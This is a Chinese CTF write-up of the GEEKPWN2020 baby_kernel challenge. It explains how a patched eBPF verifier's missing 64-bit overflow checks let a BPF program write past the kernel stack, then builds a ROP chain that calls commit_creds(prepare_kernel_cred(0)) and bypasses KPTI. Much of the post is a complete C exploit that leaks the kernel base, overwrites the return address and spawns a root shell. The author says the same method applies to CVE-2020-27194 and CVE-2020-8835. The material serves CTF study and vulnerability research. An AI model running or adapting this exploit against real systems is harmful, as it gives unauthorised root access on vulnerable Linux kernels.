GEEKPWN2020-baby_kernel的另一种解法

admin 2020年12月2日19:17:38评论41 views字数 18108阅读60分21秒阅读模式

GEEKPWN2020-baby_kernel的另一种解法

 

最近看到网上关于eBPF漏洞的分析接踵而至,应该是之前CVE-2020-27194 漏洞掀起了一波分析热潮,笔者看到网上分析文章的漏洞利用基本都是以ZDI上CVE-2020-8835的利用思路为主,构造任意读写来达到提权的目的,这里笔者以最近的GEEKPWN2020-云安全挑战赛决赛-baby_kernel题目为例,分享一种利用栈溢出的漏洞利用方式,为这波热潮再续温一阵。

 

题目分析

版本信息

git checkout d82a532a611572d85fd2610ec41b5c9e222931b6

由于笔者并没有题目文件,所以看网上分析,手动打了题目补丁:

5446 static void scalar_min_max_add(struct bpf_reg_state *dst_reg,5447                    struct bpf_reg_state *src_reg)            5448 {                                                            5449     s64 smin_val = src_reg->smin_value;                      5450     s64 smax_val = src_reg->smax_value;                      5451     u64 umin_val = src_reg->umin_value;                      5452     u64 umax_val = src_reg->umax_value;                      5453                                                              5454     /*                                                       5455     if (signed_add_overflows(dst_reg->smin_value, smin_val) |5456         signed_add_overflows(dst_reg->smax_value, smax_val)) 5457         dst_reg->smin_value = S64_MIN;                       5458         dst_reg->smax_value = S64_MAX;                       5459     } else {                                                 5460     */                                                       5461         dst_reg->smin_value += smin_val;                     5462         dst_reg->smax_value += smax_val;                     5463     /*}                                                      5464     if (dst_reg->umin_value + umin_val < umin_val ||         5465         dst_reg->umax_value + umax_val < umax_val) {         5466         dst_reg->umin_value = 0;                             5467         dst_reg->umax_value = U64_MAX;                       5468     } else {*/                                               5469         dst_reg->umin_value += umin_val;                     5470         dst_reg->umax_value += umax_val;                     5471     //}                                                      5472 }

上述补丁去除了64位整数相加的溢出检查。

5938 static int adjust_scalar_min_max_vals(struct bpf_verifier_env *env,5939                       struct bpf_insn *insn,                     5940                       struct bpf_reg_state *dst_reg,             5941                       struct bpf_reg_state src_reg)              5942 {      ……5976     } else {                                                   5977         src_known = tnum_is_const(src_reg.var_off);            5978         if ((src_known &&                                      5979              (smin_val != smax_val || umin_val != umax_val)) ||5980             smin_val > smax_val  /*|| umin_val > umax_val*/ ) {5981             /* Taint dst register if offset had invalid bounds 5982              * derived from e.g. dead branches.                5983              */                                                5984             __mark_reg_unknown(env, dst_reg);                  5985             return 0;                                          5986         }                                                      5987     } ……

上述补丁去除了adjust_scalar_min_max_vals函数中64位无符号数 umin_val > umx_val的检查。两个补丁最主要的就是未检查64位整数相加溢出的情况,所以我们只要构造溢出就可以绕过后续的检查。

绕过检查的逻辑如下:

BPF_LD_IMM64(BPF_REG_6, 0x8000000000000000),   // r6=0x8000000000000000BPF_JMP_REG(BPF_JLE, BPF_REG_5, BPF_REG_6, 1), // r5 <= 6 ; jmp 1BPF_EXIT_INSN(),                               // exit()BPF_ALU64_REG(BPF_ADD,BPF_REG_5, BPF_REG_5),   // r5 += r5BPF_MOV64_REG(BPF_REG_6, BPF_REG_5),           // r6 = r5BPF_ALU64_IMM(BPF_RSH, BPF_REG_6, 33),           // r6 >>= 33

r5 为从map输入的数,首先通过条件判断约束r5的范围,使其umax_value=0x8000000000000000,而umin_value默认值为0,所以在r5+r5的结果导致r5的范围变为[0,0],因为0x8000000000000000+0x8000000000000000 溢出为0。但此时var_off.mask为0xffffffff,所以右移33,此时bpf检查程序认为r6是常数0。而实际运行r5传入值 0x100000000 时, 计算过程如下:

r5 = 0x100000000r5 += r5 -> 0x100000000+0x100000000=0x200000000r6 = r5 = 0x200000000r6 >>= 33 -> 0x200000000>>33=1

bpf 日志如下:

12: (18) r6 = 0x800000000000000014: (bd) if r5 <= r6 goto pc+115: (95) exit16: R0_w=invP1 R5_w=invP(id=0,umax_value=9223372036854775808) R6_w=invP-9223372036854775808 R8_w=map_value(id=0,off=0,ks=4,vs=256,imm=0) R9=map_ptr(id=0,off=0,ks=4,vs=256,imm=0) ?16: (0f) r5 += r517: R0_w=invP1 R5_w=invP(id=0,umax_value=0,var_off=(0x0; 0xffffffff)) R6_w=invP-9223372036854775808 R8_w=map_value(id=0,off=0,ks=4,vs=256,imm=0) R9=map_ptr(id=0,off=0,ks=4,vs=256?17: (bf) r6 = r518: R0_w=invP1 R5_w=invP(id=0,umax_value=0,var_off=(0x0; 0xffffffff)) R6_w=invP(id=0,umax_value=0,var_off=(0x0; 0xffffffff)) R8_w=map_value(id=0,off=0,ks=4,vs=256,imm=0) R9=map_p?18: (77) r6 >>= 3319: R0_w=invP1 R5_w=invP(id=0,umax_value=0,var_off=(0x0; 0xffffffff)) R6_w=invP0 R8_w=map_value(id=0,off=0,ks=4,vs=256,imm=0) R9=map_ptr(id=0,off=0,ks=4,vs=256,imm=0) R10=fp0 fp-?

绕过检查的方式很多种,主要方式就是检查时让其认为传入的值通过计算后恒为常数,而实际运行时却可以传入任意数,从而实现绕过后续的检查造成越界读写。

 

漏洞利用

绕过检查后,我们可以在栈上进行越界读写,直接修改返回地址,构造rop关闭各种保护机制后进行提权。比构造任意读写更加方便快捷,同时内核结构体的随机化也没有影响,只是利用的rop链会有所不同。

栈溢出利用如下:

BPF_MOV64_REG(BPF_REG_7,BPF_REG_10), // 对栈指针进行越界读写BPF_ALU64_IMM(BPF_ADD, BPF_REG_7, -0x38),  // 开辟栈空间,-0x38 BPF_ALU64_IMM(BPF_MUL, BPF_REG_6, 0x20),  // r6 -> arb num, r6的值不能超过0x38,所以相加了两次进行溢出BPF_ALU64_REG(BPF_ADD,BPF_REG_7, BPF_REG_6), //rop[0]BPF_ALU64_REG(BPF_ADD,BPF_REG_7, BPF_REG_6), BPF_LDX_MEM(BPF_DW,BPF_REG_0,BPF_REG_8, 0x18), // map[3]BPF_STX_MEM(BPF_DW, BPF_REG_7, BPF_REG_0, 0),

r10保存着rsp指针,不能直接对r10操作,所以赋值给r7,开辟0x38的栈空间后,r7=rsp-0x38,此时由于r6的值不能超过0x38,所以相加了两次进行溢出,最终r7=rsp-0x38+0x20+0x20=rsp+0x8,rsp+0x8保存在返回地址,将其覆盖就可以执行rop链了。

在笔者的环境下找到的rop链如下:

pop_rdi_ret;            //rop[0]  pop rdi; ret;0;                      //rop[1]prepare_kernel;         //rop[2]xchg_rax_rdi;           //rop[3]  xchg rax, rdi; dec dword ptr [rax - 0x77]; commit_creds;           //rop[4]kpti_ret;               //rop[5]  swapgs_restore_regs_and_return_to_usermode0;                      //rop[6]0;                      //rop[7]&get_shell;             //rop[8]user_cs;                //rop[9]user_rflags;            //rop[10]user_sp;                //rop[11]user_ss;                //rop[12]

首先执行 commit_creds(prepare_kernel_cred(0)); 然后调用swapgs_restore_regs_and_return_to_usermode 来关闭KPTI保护。

KPTI(Kernel PageTable Isolation)全称为内核页表隔离,它通过完全分离用户空间与内核空间页表来解决之前CPU漏洞,防止通过侧信道攻击泄露信息。

KPTI中每个进程有两套页表——内核态页表与用户态页表(两个地址空间)。内核态页表只能在内核态下访问,可以创建到内核和用户的映射(不过用户空间受SMAP和SMEP保护)。用户态页表只包含用户空间。不过由于涉及到上下文切换,所以在用户态页表中必须包含部分内核地址,用来建立到中断入口和出口的映射。

当中断在用户态发生时,就涉及到切换CR3寄存器,从用户态地址空间切换到内核态的地址空间。中断上半部的要求是尽可能的快,从而切换CR3这个操作也要求尽可能的快。为了达到这个目的,KPTI中将内核空间的PGD和用户空间的PGD连续的放置在一个8KB的内存空间中(内核态在低位,用户态在高位)。这段空间必须是8K对齐的,这样将CR3的切换操作转换为将CR3值的第13位(由低到高)的置位或清零操作,提高了CR3切换的速度。

GEEKPWN2020-baby_kernel的另一种解法

简单来说CR3的第13位决定着是使用用户态页表还是内核态的页表,要想绕过KPTI机制只需要修改CR3的第13位为1,内核就会从内核PGD转为用户态PGD,所以要找到类似以下的gadget:

mov     rdi, cr3or      rdi, 1000hmov     cr3, rdi

而在swapgs_restore_regs_and_return_to_usermode+0x16处可以很方便地用到上述gadget:

swapgs_restore_regs_and_return_to_usermode
.text:FFFFFFFF81600A34 41 5F pop r15.text:FFFFFFFF81600A36 41 5E pop r14.text:FFFFFFFF81600A38 41 5D pop r13.text:FFFFFFFF81600A3A 41 5C pop r12.text:FFFFFFFF81600A3C 5D pop rbp.text:FFFFFFFF81600A3D 5B pop rbx.text:FFFFFFFF81600A3E 41 5B pop r11.text:FFFFFFFF81600A40 41 5A pop r10.text:FFFFFFFF81600A42 41 59 pop r9.text:FFFFFFFF81600A44 41 58 pop r8.text:FFFFFFFF81600A46 58 pop rax.text:FFFFFFFF81600A47 59 pop rcx.text:FFFFFFFF81600A48 5A pop rdx.text:FFFFFFFF81600A49 5E pop rsi.text:FFFFFFFF81600A4A 48 89 E7 mov rdi, rsp <<<<<<<<<<<<<<<<<<.text:FFFFFFFF81600A4D 65 48 8B 24 25+ mov rsp, gs: 0x5004.text:FFFFFFFF81600A56 FF 77 30 push qword ptr [rdi+30h].text:FFFFFFFF81600A59 FF 77 28 push qword ptr [rdi+28h].text:FFFFFFFF81600A5C FF 77 20 push qword ptr [rdi+20h].text:FFFFFFFF81600A5F FF 77 18 push qword ptr [rdi+18h].text:FFFFFFFF81600A62 FF 77 10 push qword ptr [rdi+10h].text:FFFFFFFF81600A65 FF 37 push qword ptr [rdi].text:FFFFFFFF81600A67 50 push rax.text:FFFFFFFF81600A68 EB 43 nop.text:FFFFFFFF81600A6A 0F 20 DF mov rdi, cr3.text:FFFFFFFF81600A6D EB 34 jmp 0xFFFFFFFF81600AA3
.text:FFFFFFFF81600AA3 48 81 CF 00 10+ or rdi, 1000h.text:FFFFFFFF81600AAA 0F 22 DF mov cr3, rdi.text:FFFFFFFF81600AAD 58 pop rax.text:FFFFFFFF81600AAE 5F pop rdi.text:FFFFFFFF81600AAF FF 15 23 65 62+ call cs: SWAPGS.text:FFFFFFFF81600AB5 FF 25 15 65 62+ jmp cs: INTERRUPT_RETURN
_SWAPGS.text:FFFFFFFF8103EFC0 55 push rbp.text:FFFFFFFF8103EFC1 48 89 E5 mov rbp, rsp.text:FFFFFFFF8103EFC4 0F 01 F8 swapgs.text:FFFFFFFF8103EFC7 5D pop rbp.text:FFFFFFFF8103EFC8 C3

最后会执行SWAPGS交换内核和用户GS寄存器,然后执行iret指令将先前压栈的 ss / sp / eflags / cs / rip 弹出,恢复用户态调用时的寄存器上下文,执行rip->&get_shell,完成提权。

完整利用代码如下:

#include <errno.h>#include <fcntl.h>#include <stdarg.h>#include <stdint.h>#include <stdio.h>#include <stdlib.h>#include <string.h>#include <unistd.h>#include <linux/unistd.h>#include <sys/mman.h>#include <sys/types.h>#include <sys/socket.h>#include <sys/un.h>#include <sys/stat.h>#include <sys/personality.h>#include <sys/prctl.h>#include "./bpf.h"
#define BPF_JMP32 0x06#define BPF_JLT 0xa0#define BPF_OBJ_GET_INFO_BY_FD 15#define BPF_MAP_TYPE_STACK 0x17
#define BPF_ALU64_IMM(OP, DST, IMM) ((struct bpf_insn) { .code = BPF_ALU64 | BPF_OP(OP) | BPF_K, .dst_reg = DST, .src_reg = 0, .off = 0, .imm = IMM })#define BPF_ALU64_REG(OP, DST, SRC) ((struct bpf_insn) { .code = BPF_ALU64 | BPF_OP(OP) | BPF_X, .dst_reg = DST, .src_reg = SRC, .off = 0, .imm = 0 })#define BPF_ALU32_IMM(OP, DST, IMM) ((struct bpf_insn) { .code = BPF_ALU | BPF_OP(OP) | BPF_K, .dst_reg = DST, .src_reg = 0, .off = 0, .imm = IMM })#define BPF_ALU32_REG(OP, DST, SRC) ((struct bpf_insn) { .code = BPF_ALU | BPF_OP(OP) | BPF_X, .dst_reg = DST, .src_reg = SRC, .off = 0, .imm = 0 })
#define BPF_MOV64_REG(DST, SRC) ((struct bpf_insn) { .code = BPF_ALU64 | BPF_MOV | BPF_X, .dst_reg = DST, .src_reg = SRC, .off = 0, .imm = 0 })
#define BPF_MOV32_REG(DST, SRC) ((struct bpf_insn) { .code = BPF_ALU | BPF_MOV | BPF_X, .dst_reg = DST, .src_reg = SRC, .off = 0, .imm = 0 })
#define BPF_MOV64_IMM(DST, IMM) ((struct bpf_insn) { .code = BPF_ALU64 | BPF_MOV | BPF_K, .dst_reg = DST, .src_reg = 0, .off = 0, .imm = IMM })
#define BPF_MOV32_IMM(DST, IMM) ((struct bpf_insn) { .code = BPF_ALU | BPF_MOV | BPF_K, .dst_reg = DST, .src_reg = 0, .off = 0, .imm = IMM })
#define BPF_LD_IMM64(DST, IMM) BPF_LD_IMM64_RAW(DST, 0, IMM)
#define BPF_LD_IMM64_RAW(DST, SRC, IMM) ((struct bpf_insn) { .code = BPF_LD | BPF_DW | BPF_IMM, .dst_reg = DST, .src_reg = SRC, .off = 0, .imm = (__u32) (IMM) }), ((struct bpf_insn) { .code = 0, .dst_reg = 0, .src_reg = 0, .off = 0, .imm = ((__u64) (IMM)) >> 32 })
#ifndef BPF_PSEUDO_MAP_FD# define BPF_PSEUDO_MAP_FD 1#endif
#define BPF_LD_IMM64(DST, IMM) BPF_LD_IMM64_RAW(DST, 0, IMM)
#define BPF_LD_MAP_FD(DST, MAP_FD) BPF_LD_IMM64_RAW(DST, BPF_PSEUDO_MAP_FD, MAP_FD)
#define BPF_LDX_MEM(SIZE, DST, SRC, OFF) ((struct bpf_insn) { .code = BPF_LDX | BPF_SIZE(SIZE) | BPF_MEM, .dst_reg = DST, .src_reg = SRC, .off = OFF, .imm = 0 })
#define BPF_STX_MEM(SIZE, DST, SRC, OFF) ((struct bpf_insn) { .code = BPF_STX | BPF_SIZE(SIZE) | BPF_MEM, .dst_reg = DST, .src_reg = SRC, .off = OFF, .imm = 0 })
#define BPF_ST_MEM(SIZE, DST, OFF, IMM) ((struct bpf_insn) { .code = BPF_ST | BPF_SIZE(SIZE) | BPF_MEM, .dst_reg = DST, .src_reg = 0, .off = OFF, .imm = IMM })
/* Unconditional jumps, goto pc + off16 */
#define BPF_JMP_A(OFF) ((struct bpf_insn) { .code = BPF_JMP | BPF_JA, .dst_reg = 0, .src_reg = 0, .off = OFF, .imm = 0 })
#define BPF_JMP32_REG(OP, DST, SRC, OFF) ((struct bpf_insn) { .code = BPF_JMP32 | BPF_OP(OP) | BPF_X, .dst_reg = DST, .src_reg = SRC, .off = OFF, .imm = 0 })
/* Like BPF_JMP_IMM, but with 32-bit wide operands for comparison. */
#define BPF_JMP32_IMM(OP, DST, IMM, OFF) ((struct bpf_insn) { .code = BPF_JMP32 | BPF_OP(OP) | BPF_K, .dst_reg = DST, .src_reg = 0, .off = OFF, .imm = IMM })
#define BPF_JMP_REG(OP, DST, SRC, OFF) ((struct bpf_insn) { .code = BPF_JMP | BPF_OP(OP) | BPF_X, .dst_reg = DST, .src_reg = SRC, .off = OFF, .imm = 0 })
#define BPF_JMP_IMM(OP, DST, IMM, OFF) ((struct bpf_insn) { .code = BPF_JMP | BPF_OP(OP) | BPF_K, .dst_reg = DST, .src_reg = 0, .off = OFF, .imm = IMM })
#define BPF_RAW_INSN(CODE, DST, SRC, OFF, IMM) ((struct bpf_insn) { .code = CODE, .dst_reg = DST, .src_reg = SRC, .off = OFF, .imm = IMM })
#define BPF_EXIT_INSN() ((struct bpf_insn) { .code = BPF_JMP | BPF_EXIT, .dst_reg = 0, .src_reg = 0, .off = 0, .imm = 0 })
#define BPF_MAP_GET(idx, dst) BPF_MOV64_REG(BPF_REG_1, BPF_REG_9), /* r1 = r9 */ BPF_MOV64_REG(BPF_REG_2, BPF_REG_10), /* r2 = fp */ BPF_ALU64_IMM(BPF_ADD, BPF_REG_2, -4), /* r2 = fp - 4 */ BPF_ST_MEM(BPF_W, BPF_REG_10, -4, idx), /* *(u32 *)(fp - 4) = idx */ BPF_RAW_INSN(BPF_JMP | BPF_CALL, 0, 0, 0, BPF_FUNC_map_lookup_elem), BPF_JMP_IMM(BPF_JNE, BPF_REG_0, 0, 1), /* if (r0 == 0) */ BPF_EXIT_INSN(), /* exit(0); */ BPF_LDX_MEM(BPF_DW, (dst), BPF_REG_0, 0) /* r_dst = *(u64 *)(r0) */
#define BPF_MAP_GET_ADDR(idx, dst) BPF_MOV64_REG(BPF_REG_1, BPF_REG_9), /* r1 = r9 */ BPF_MOV64_REG(BPF_REG_2, BPF_REG_10), /* r2 = fp */ BPF_ALU64_IMM(BPF_ADD, BPF_REG_2, -4), /* r2 = fp - 4 */ BPF_ST_MEM(BPF_W, BPF_REG_10, -4, idx), /* *(u32 *)(fp - 4) = idx */ BPF_RAW_INSN(BPF_JMP | BPF_CALL, 0, 0, 0, BPF_FUNC_map_lookup_elem), BPF_JMP_IMM(BPF_JNE, BPF_REG_0, 0, 1), /* if (r0 == 0) */ BPF_EXIT_INSN(), /* exit(0); */ BPF_MOV64_REG((dst), BPF_REG_0) /* r_dst = (r0) */
/* Memory load, dst_reg = *(uint *) (src_reg + off16) */
#define BPF_LDX_MEM(SIZE, DST, SRC, OFF) ((struct bpf_insn) { .code = BPF_LDX | BPF_SIZE(SIZE) | BPF_MEM, .dst_reg = DST, .src_reg = SRC, .off = OFF, .imm = 0 })
/* Memory store, *(uint *) (dst_reg + off16) = src_reg */
#define BPF_STX_MEM(SIZE, DST, SRC, OFF) ((struct bpf_insn) { .code = BPF_STX | BPF_SIZE(SIZE) | BPF_MEM, .dst_reg = DST, .src_reg = SRC, .off = OFF, .imm = 0 })

char buffer[64];int sockets[2];int progfd;int exp_mapfd;int doredact = 0;
#define LOG_BUF_SIZE 0x100000char bpf_log_buf[LOG_BUF_SIZE];
uint64_t exp_buf[0x100]; char info[0x100];
#define RADIX_TREE_INTERNAL_NODE 2#define RADIX_TREE_MAP_MASK 0x3f
static __u64 ptr_to_u64(void *ptr){ return (__u64) (unsigned long) ptr;}
int bpf_prog_load(enum bpf_prog_type prog_type, const struct bpf_insn *insns, int prog_len, const char *license, int kern_version){ union bpf_attr attr = { .prog_type = prog_type, .insns = ptr_to_u64((void *) insns), .insn_cnt = prog_len / sizeof(struct bpf_insn), .license = ptr_to_u64((void *) license), .log_buf = ptr_to_u64(bpf_log_buf), .log_size = LOG_BUF_SIZE, .log_level = 1, };
attr.kern_version = kern_version;
bpf_log_buf[0] = 0;
return syscall(__NR_bpf, BPF_PROG_LOAD, &attr, sizeof(attr));}
int bpf_create_map(enum bpf_map_type map_type, int key_size, int value_size, int max_entries, int map_flags){ union bpf_attr attr = { .map_type = map_type, .key_size = key_size, .value_size = value_size, .max_entries = max_entries };
return syscall(__NR_bpf, BPF_MAP_CREATE, &attr, sizeof(attr));}
static int bpf_update_elem(uint64_t key, void *value, int mapfd, uint64_t flags) { union bpf_attr attr = { .map_fd = mapfd, .key = (__u64)&key, .value = (__u64)value, .flags = flags, };
return syscall(__NR_bpf, BPF_MAP_UPDATE_ELEM, &attr, sizeof(attr));}
static int bpf_lookup_elem(void *key, void *value, int mapfd) { union bpf_attr attr = { .map_fd = mapfd, .key = (__u64)key, .value = (__u64)value, };
return syscall(__NR_bpf, BPF_MAP_LOOKUP_ELEM, &attr, sizeof(attr));}
static uint32_t bpf_map_get_info_by_fd(uint64_t key, void *value, int mapfd, void *info) { union bpf_attr attr = { .map_fd = mapfd, .key = (__u64)&key, .value = (__u64)value, .info.bpf_fd = mapfd, .info.info_len = 0x50, .info.info = (__u64)info, };
syscall(__NR_bpf, BPF_OBJ_GET_INFO_BY_FD, &attr, sizeof(attr));
return *(uint32_t *)((char *)info+0x40);}

static void __exit(char *err) { fprintf(stderr, "error: %sn", err); exit(-1);}

static int load_my_prog(){ struct bpf_insn my_prog[] = {
BPF_LD_MAP_FD(BPF_REG_9,exp_mapfd), BPF_MAP_GET(0,BPF_REG_5), BPF_MOV64_REG(BPF_REG_8, BPF_REG_0), // r8->&map BPF_MOV64_IMM(BPF_REG_0, 0x1),
BPF_LD_IMM64(BPF_REG_6, 0x8000000000000000), BPF_JMP_REG(BPF_JLE, BPF_REG_5, BPF_REG_6, 1), BPF_EXIT_INSN(), BPF_ALU64_REG(BPF_ADD,BPF_REG_5, BPF_REG_5), BPF_MOV64_REG(BPF_REG_6, BPF_REG_5), BPF_ALU64_IMM(BPF_RSH, BPF_REG_6, 33),
//--------------exp_mapfd
BPF_MOV64_REG(BPF_REG_7, BPF_REG_8), BPF_LDX_MEM(BPF_DW,BPF_REG_5,BPF_REG_8,0x8), // r5 = op
BPF_JMP_IMM(BPF_JNE, BPF_REG_5, 0, 5), //3 BPF_ALU64_IMM(BPF_MUL, BPF_REG_6, 0x110), //r8 *= 0x110 BPF_ALU64_REG(BPF_SUB,BPF_REG_7,BPF_REG_6), // r7=r7-0x110 BPF_LDX_MEM(BPF_DW,BPF_REG_0,BPF_REG_7, 0), BPF_STX_MEM(BPF_DW,BPF_REG_8,BPF_REG_0, 0x10), // leak *(&exp_elem[0]-0x110) BPF_EXIT_INSN(),
BPF_MOV64_REG(BPF_REG_7,BPF_REG_10), // 对栈指针进行越界读写 BPF_ALU64_IMM(BPF_ADD, BPF_REG_7, -0x38), // 开辟栈空间,-0x38 BPF_ALU64_IMM(BPF_MUL, BPF_REG_6, 0x20), // r6 -> arb num, r6的值不能超过0x38,所以相加了两次进行溢出
BPF_ALU64_REG(BPF_ADD,BPF_REG_7, BPF_REG_6), //rop[0] BPF_ALU64_REG(BPF_ADD,BPF_REG_7, BPF_REG_6), BPF_LDX_MEM(BPF_DW,BPF_REG_0,BPF_REG_8, 0x18), BPF_STX_MEM(BPF_DW, BPF_REG_7, BPF_REG_0, 0),
BPF_ALU64_IMM(BPF_RSH,BPF_REG_6, 2),
BPF_ALU64_REG(BPF_ADD,BPF_REG_7, BPF_REG_6), //rop[1] BPF_LDX_MEM(BPF_DW,BPF_REG_0,BPF_REG_8, 4*8), BPF_STX_MEM(BPF_DW, BPF_REG_7, BPF_REG_0, 0),
BPF_ALU64_REG(BPF_ADD,BPF_REG_7, BPF_REG_6), //rop[2] BPF_LDX_MEM(BPF_DW,BPF_REG_0,BPF_REG_8, 5*8), BPF_STX_MEM(BPF_DW, BPF_REG_7, BPF_REG_0, 0),
BPF_ALU64_REG(BPF_ADD,BPF_REG_7, BPF_REG_6), //rop[3] BPF_LDX_MEM(BPF_DW,BPF_REG_0,BPF_REG_8, 6*8), BPF_STX_MEM(BPF_DW, BPF_REG_7, BPF_REG_0, 0),
BPF_ALU64_REG(BPF_ADD,BPF_REG_7, BPF_REG_6), //rop[4] BPF_LDX_MEM(BPF_DW,BPF_REG_0,BPF_REG_8, 7*8), BPF_STX_MEM(BPF_DW, BPF_REG_7, BPF_REG_0, 0),
BPF_ALU64_REG(BPF_ADD,BPF_REG_7, BPF_REG_6), //rop[5] BPF_LDX_MEM(BPF_DW,BPF_REG_0,BPF_REG_8, 8*8), BPF_STX_MEM(BPF_DW, BPF_REG_7, BPF_REG_0, 0),
BPF_ALU64_REG(BPF_ADD,BPF_REG_7, BPF_REG_6), //rop[6] BPF_LDX_MEM(BPF_DW,BPF_REG_0,BPF_REG_8, 9*8), BPF_STX_MEM(BPF_DW, BPF_REG_7, BPF_REG_0, 0),
BPF_ALU64_REG(BPF_ADD,BPF_REG_7, BPF_REG_6), //rop[7] BPF_LDX_MEM(BPF_DW,BPF_REG_0,BPF_REG_8, 10*8), BPF_STX_MEM(BPF_DW, BPF_REG_7, BPF_REG_0, 0),
BPF_ALU64_REG(BPF_ADD,BPF_REG_7, BPF_REG_6), //rop[8] BPF_LDX_MEM(BPF_DW,BPF_REG_0,BPF_REG_8, 11*8), BPF_STX_MEM(BPF_DW, BPF_REG_7, BPF_REG_0, 0),
BPF_ALU64_REG(BPF_ADD,BPF_REG_7, BPF_REG_6), //rop[9] BPF_LDX_MEM(BPF_DW,BPF_REG_0,BPF_REG_8, 12*8), BPF_STX_MEM(BPF_DW, BPF_REG_7, BPF_REG_0, 0),
BPF_ALU64_REG(BPF_ADD,BPF_REG_7, BPF_REG_6), //rop[10] BPF_LDX_MEM(BPF_DW,BPF_REG_0,BPF_REG_8, 13*8), BPF_STX_MEM(BPF_DW, BPF_REG_7, BPF_REG_0, 0),
BPF_ALU64_REG(BPF_ADD,BPF_REG_7, BPF_REG_6), //rop[11] BPF_LDX_MEM(BPF_DW,BPF_REG_0,BPF_REG_8, 14*8), BPF_STX_MEM(BPF_DW, BPF_REG_7, BPF_REG_0, 0),
BPF_ALU64_REG(BPF_ADD,BPF_REG_7, BPF_REG_6), //rop[12] BPF_LDX_MEM(BPF_DW,BPF_REG_0,BPF_REG_8, 15*8), BPF_STX_MEM(BPF_DW, BPF_REG_7, BPF_REG_0, 0),
BPF_MOV64_IMM(BPF_REG_0,0x0), BPF_EXIT_INSN(),
}; return bpf_prog_load(BPF_PROG_TYPE_SOCKET_FILTER,my_prog,sizeof(my_prog),"GPL",0);}
static void prep(void) { exp_mapfd = bpf_create_map(BPF_MAP_TYPE_ARRAY,sizeof(int),0x100,1,0); if(exp_mapfd < 0){ __exit(strerror(errno)); }
progfd = load_my_prog(); if(progfd < 0){ printf("%sn",bpf_log_buf); __exit(strerror(errno)); }
//printf("success:%sn",bpf_log_buf); if(socketpair(AF_UNIX,SOCK_DGRAM,0,sockets)){ __exit(strerror(errno)); }
if(setsockopt(sockets[1], SOL_SOCKET, SO_ATTACH_BPF, &progfd, sizeof(progfd)) < 0){ __exit(strerror(errno)); }}

static void writemsg(void) { char buffer[64];
ssize_t n = write(sockets[0], buffer, sizeof(buffer));
if (n < 0) { perror("write"); return; } if (n != sizeof(buffer)) fprintf(stderr, "short write: %lun", n);}
static void update_elem(uint32_t op){ exp_buf[0] = 0x100000000; exp_buf[1] = op;
bpf_update_elem(0, exp_buf, exp_mapfd, 0); writemsg();}

static uint64_t infoleak(uint64_t *buffer, int mapfd){ uint64_t key = 0; if (bpf_lookup_elem(&key, buffer, mapfd)) __exit(strerror(errno));}
unsigned long user_cs, user_ss, user_rflags, user_sp;
void save_stat() { asm( "movq %%cs, %0;" "movq %%ss, %1;" "movq %%rsp, %2;" "pushfq;" "popq %3;" : "=r" (user_cs), "=r" (user_ss), "=r" (user_sp), "=r" (user_rflags) : : "memory");}
void get_shell(){
if(!getuid()) { printf("[+] you got root!n"); system("/bin/sh"); } else { printf("[T.T] privilege escalation failed !!!n"); } exit(0);
}
static void pwn(void){
uint64_t leak_addr, kernel_base; uint32_t read_low, read_high;
//----------------leak info-----------------------
update_elem(0);
infoleak(exp_buf, exp_mapfd);
uint64_t map_leak = exp_buf[2]; printf("[+] leak array_map_ops:0x%lXn", map_leak);
kernel_base = map_leak - 0x1017B40; printf("[+] leak kernel_base addr:0x%lXn", kernel_base);
unsigned long prepare_kernel = kernel_base + 0x08fc80; unsigned long commit_creds = kernel_base + 0x08f880; unsigned long pop_rdi_ret = kernel_base + 0x0016a8; // pop rdi; ret; unsigned long xchg_rax_rdi = kernel_base + 0x89a3f3;// xchg rax, rdi; dec dword ptr [rax - 0x77]; ret; unsigned long kpti_ret = kernel_base + 0xc00df0+0x16; // swapgs_restore_regs_and_return_to_usermode
int i = 3; exp_buf[i++] = pop_rdi_ret; //rop[0] exp_buf[i++] = 0; //rop[1] exp_buf[i++] = prepare_kernel; //rop[2] exp_buf[i++] = xchg_rax_rdi; //rop[3] exp_buf[i++] = commit_creds; //rop[4] exp_buf[i++] = kpti_ret; //rop[5] exp_buf[i++] = 0; //rop[6] exp_buf[i++] = 0; //rop[7] exp_buf[i++] = &get_shell; //rop[8] exp_buf[i++] = user_cs; //rop[9] exp_buf[i++] = user_rflags; //rop[10] exp_buf[i++] = user_sp; //rop[11] exp_buf[i++] = user_ss; //rop[12] update_elem(1);
}

int main(void){ save_stat(); prep(); pwn(); return 0;}

提权效果:

GEEKPWN2020-baby_kernel的另一种解法

本文的漏洞利用思路同样适用于CVE-2020-27194 和CVE-2020-8835 漏洞,感兴趣的读者可以自行实验。

 

参考链接

https://xz.aliyun.com/t/8463#toc-6

https://xz.aliyun.com/t/8482

https://www.kernel.org/doc/Documentation/networking/filter.txt

https://zhuanlan.zhihu.com/p/137277724

题目环境:https://github.com/De4dCr0w/kernel-pwn/tree/master/geekpwn2020

(点击“阅读原文”查看链接)

GEEKPWN2020-baby_kernel的另一种解法GEEKPWN2020-baby_kernel的另一种解法

戳“阅读原文”查看更多内容

本文始发于微信公众号(安全客):GEEKPWN2020-baby_kernel的另一种解法

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2020年12月2日19:17:38
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   GEEKPWN2020-baby_kernel的另一种解法https://cn-sec.com/archives/194819.html

发表评论

匿名网友 填写信息